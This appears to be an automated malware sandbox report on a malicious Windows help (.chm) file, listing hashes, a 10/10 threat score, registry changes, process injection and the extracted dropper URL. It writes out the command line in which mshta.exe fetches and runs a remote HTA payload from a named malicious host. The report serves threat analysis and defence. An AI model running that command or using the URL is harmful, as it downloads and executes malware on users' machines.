b73ee977154402f8eecc5a446baf0dba456a37d1ca9348858540a8d048f3fd37

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 15:11

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General

Target

b73ee977154402f8eecc5a446baf0dba456a37d1ca9348858540a8d048f3fd37.chm
Size

41KB
MD5

e557693cc879beeb1a455cac02724ea7
SHA1

448723380110d37364d3c960cd8191130ca96aa7
SHA256

b73ee977154402f8eecc5a446baf0dba456a37d1ca9348858540a8d048f3fd37
SHA512

448f302a5aff395472c4ec52cdd11a69d4a93c1caba580e373b1e8b2413c5bc35be2e8757c9e77231d257dd94362cdc7e39be857b536410cc178fdae9afa6426
SSDEEP

768:vdz7GiZkaVmCsjBnqE9c2E8ouJEjg7J0BY25K4zhGmGc8:vlvqlnvI83GjgF0+IBz4vD

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/8.html

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1740	mshta.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Internet Explorer\International\CpMRU	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	hh.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3448	hh.exe
3448	hh.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 1740	3448	hh.exe	83
PID 3448 wrote to memory of 1740	3448	hh.exe	83

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\b73ee977154402f8eecc5a446baf0dba456a37d1ca9348858540a8d048f3fd37.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://attiferstudio.com/install.bak/sony/8.html ,
  2⤵
  - Blocklisted process makes network request
  PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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